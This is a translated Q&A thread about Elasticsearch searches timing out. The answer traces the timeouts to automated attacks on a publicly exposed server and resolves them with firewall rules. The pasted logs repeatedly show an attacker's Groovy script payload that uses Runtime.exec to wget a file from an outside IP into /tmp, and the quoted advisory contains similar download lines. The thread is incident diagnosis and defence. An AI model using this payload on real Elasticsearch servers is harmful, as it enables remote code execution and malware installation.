一尘不染

Elasticsearch在每个搜索请求上超时,直到重新启动

elasticsearch

这是很尴尬的,因为elasticsearch的全部目的是搜索,但是我的某种方式已经失去了搜索的能力。

我的配置

要点:

我在负载均衡器下获得了2个Elasticsearch实例。

我有3个配置了副本集的MongoDB实例。

我已经安装了river(不知道它是否与它有关),这一步:https : //github.com/richardwilly98/elasticsearch-river-
mongodb/wiki

问题概要

Elasticsearch已使用了5天,其索引的总大小小于1MB。

Elasticsearch连续4天没有问题,工作非常快。

除以下各项外,其他所有请求均正常 GET 'http://codename.es.domain:9200/_search'

任何形式的搜索。

更多信息

群集运行状况很好。MongoDB很好。我可以创建新索引并为更多文档建立索引。

基本上,除非我停止请求,否则它甚至都不会超时。

使用官方的Elasticsearch客户端从NodeJS中获取:https
:
//www.npmjs.com/package/elasticsearch

我收到:

{
  "error": {
      "message": "Request Timeout after 30000ms"
    }
}

造成问题的日志

[

2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][3], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][3]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script458.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [events][1], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][1]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script457.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script460.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][0], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.search.SearchParseException: [events][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][2], node[Oq7k-P26RoabKCjZ_YmlIw], [R], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][2]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,809][DEBUG][action.search.type       ] [Saint Anna] [events][4], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238]
org.elasticsearch.search.SearchParseException: [events][4]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script462.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,811][DEBUG][action.search.type       ] [Saint Anna] All shards failed for phase: [query]

显然,以下这些日志较早发生,并且在某些时候发生了:

[2015-04-30 05:05:59,811][DEBUG][action.search.type       ] [Saint Anna] All shards failed for phase: [query]

在那之后,直到重新启动,一切都没有起作用。

当前日志

[2015-04-30 08:14:02,174][DEBUG][action.search.type       ] [Saint Anna] [4496] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory]; 
    at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
    at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
    at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
    at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
[2015-04-30 08:14:03,021][DEBUG][action.search.type       ] [Saint Anna] [4512] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory]; 
    at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
    at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
    at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
    at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)

解决问题的方法真不好

重新启动 并运行的唯一方法是 重新启动

当我们有以前的主机时,已经发生了此问题。

我们必须每三天执行一次对Elasticsearch的重新启动,但是直到我们不得不每小时重新启动一次为止,它一直在恶化。

我正在尝试避免这种情况,有什么建议吗?


阅读 535

收藏
2020-06-22

共1个答案

一尘不染

问题解决了:

tl; dr:

原因: 对不安全的服务器的自动攻击。

根据elasticsearch发表的文章:

https://www.elastic.co/blog/scripting-
security/

1.不要对公众开放Elasticsearch

采取的行动: 我们在人偶服务器中添加了iptables规则,以应用所有的Elasticsearch服务器。

我们犯了那个错误,不幸的是我们付出了代价。我们现在又回来跑步了。

调查-较长的部分

根据日志,我发现一些非常可疑的东西

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

我将修剪主要部分:

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

这是机器人入侵的一种形式,因为我们没有一个叫xiao的人,或者我们没有在中国托管我们的服务器(根据GEO-IP),所以我们怀疑这条线。

根据上述文章:

最近,我们发现恶意用户利用公开可用的Elasticsearch服务器来访问主机系统。有几种方法可以监视您是否受到此安全漏洞的影响。

最近的攻击正在生成类似于以下内容的Elasticsearch日志:

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

您还应该监视异常的系统负载,并对系统进行彻底的审核。

确保如果检测到任何被利用的系统,则在删除或重新安装受影响的系统后,请按照上述步骤保护您的Elasticsearch节点。

黑客应用了一些令人讨厌的查询,使我们的Elasticsearch停止运行。

我们重新启动了服务器并添加了Iptables,我们又恢复了业务。

2020-06-22